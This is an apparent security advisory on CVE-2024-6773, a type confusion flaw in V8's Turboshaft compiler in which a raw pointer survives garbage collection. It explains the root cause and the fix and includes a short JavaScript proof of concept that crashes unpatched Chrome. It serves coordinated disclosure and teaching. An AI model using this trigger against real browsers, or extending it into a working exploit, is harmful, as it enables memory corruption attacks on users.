V8 Turboshaft Load Elimination Type Confusion Vulnerability (CVE-2024-6773)
Exploitable Memory Corruption via Garbage Collection Race Condition
Executive Summary
A critical type confusion vulnerability (CVE-2024-6773) was discovered in V8’s Turboshaft compiler optimization pipeline. The flaw allowed stale pointer retention during garbage collection (GC), enabling memory corruption attacks. Rated Severity 1 (S1) under Chrome’s security scale, this vulnerability earned a $7,000 reward through the Chrome Vulnerability Reward Program (VRP).
Technical Breakdown
Root Cause Analysis
The vulnerability stemmed from improper pointer handling in Turboshaft’s Load Elimination optimization phase when processing LoadStackArgument
operations:
- Original Code PatterncppCopyx = LoadStackArgument(a, 40) // First load … Allocate() // Potential GC trigger … y = LoadStackArgument(a, 40) // Redundant load
- Faulty Optimization
Turboshaft incorrectly lowered these operations to raw pointer loads (WordPtr
) followed by tagged casts:cppCopyx1 = Load<WordPtr>(…) // Raw pointer x2 = TaggedBitcast(x1) // Tagged pointer … Allocate() // GC may relocate objects … y2 = TaggedBitcast(x1) // Uses stale x1 after GCThe redundant second load was eliminated, retaining the initial raw pointer (x1
) across GC boundaries.
Security Impact
- Type Confusion Vector: GC couldn’t track/update raw
WordPtr
values, allowing dangling pointers to survive heap compaction. - Exploit Potential: Attackers could craft objects with controlled type transitions for arbitrary memory read/write.
- Attack Surface: Required precise GC timing but was reproducible via structured JavaScript payloads.
Proof of Concept
for (let v0 = 0; v0 < 83; v0++) {
function F1(a3, a4, a5, a6) {
if (!new.target) throw 'must be called with new';
const v8 = ("number").source;
function F9(a11, a12, ...a13) {
if (!new.target) throw 'must be called with new';
a13[0]; // Forces stack argument processing
try { new F9(a12, ...a13, F9) } catch(e) {}
}
new F9(F9, v8, v8); // Nested allocations
}
new F1(); // Triggers optimization + GC pressure
}
Crash Signature: SEGV_ACCERR
at 0x22e4beadbef6
(stale pointer dereference).
Mitigation & Fix
Resolution: Modified LoadStackArgument
to directly load tagged pointers, ensuring GC tracking:
// Before (vulnerable)
x1 = Load<WordPtr>(...)
x2 = TaggedBitcast(x1)
// After (fixed)
x2 = Load<Tagged>(...) // GC-aware from initial load
Patch Timeline
Date | Action |
---|---|
2024-06-17 | Vulnerability reported |
2024-06-19 | Fix merged to V8 main branch |
2024-06-25 | Backported to Chrome M126 (Stable) |
2024-06-25 | Backported to Chrome M127 (Beta) |
Impact Assessment
- Affected Versions: All Chrome versions prior to M126
- Exploitability: High (Type confusion → Memory corruption)
- CVSS 3.1 Score: 8.8 (High) [AV:N /AC:L /PR:N /UI:R /S:U /C:H /I:H /A:H ]
Credits & Disclosure
- Discoverer: Salim Largo (2ourc3) via fuzzing
- Fix Author: Darius Mercadier (V8 Security Team)
- Disclosure Policy: Coordinated through Chrome VRP
- CVE: CVE-2024-6773
Lessons Learned
- Pointer Lifecycle Management: Optimizations must respect GC safepoints for managed pointers.
- Type Tracking: Compiler phases must maintain accurate type annotations across transformations.
- Fuzzing Efficacy: Demonstrates value of advanced fuzzing against compiler edge cases.